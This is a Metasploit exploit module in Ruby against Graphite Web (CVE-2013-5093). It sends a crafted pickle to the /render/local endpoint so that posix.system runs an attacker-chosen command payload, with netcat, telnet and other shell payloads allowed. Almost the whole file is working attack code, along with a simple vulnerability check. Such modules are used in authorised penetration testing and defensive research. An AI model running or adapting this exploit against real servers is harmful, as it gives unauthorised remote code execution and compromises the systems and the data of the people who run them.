require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(info,
'Name' => 'Graphite Web Unsafe Pickle Handling' ,
'Description' => %q{
This module exploits a remote code execution vulnerability in the pickle
handling of the rendering code in the Graphite Web project between version
0 . 9 . 5 and 0 . 9 . 10 (both included).
},
'Author' =>
[
'Charlie Eriksen'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2013-5093' ],
],
'Platform' => 'unix' ,
'Arch' => ARCH_CMD ,
'Privileged' => false ,
'Targets' => [ [ 'Automatic' , {} ] ],
'DisclosureDate' => 'Aug 20 2013' ,
'DefaultTarget' => 0 ,
'Payload' =>
{
'DisableNops' => true ,
'Space' => 16384 ,
'Compat' =>
{
'PayloadType' => 'cmd' ,
'RequiredCmd' => 'python generic telnet netcat perl ruby'
}
}))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , 'The path to a vulnerable application' , '/' ])
], self . class )
end
def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render' , 'local' ),
'method' => 'POST'
})
if response and response.code == 500
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
print_status( "Sending exploit payload..." )
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'render' , 'local' ),
'method' => 'POST' ,
'data' => data
})
end
end
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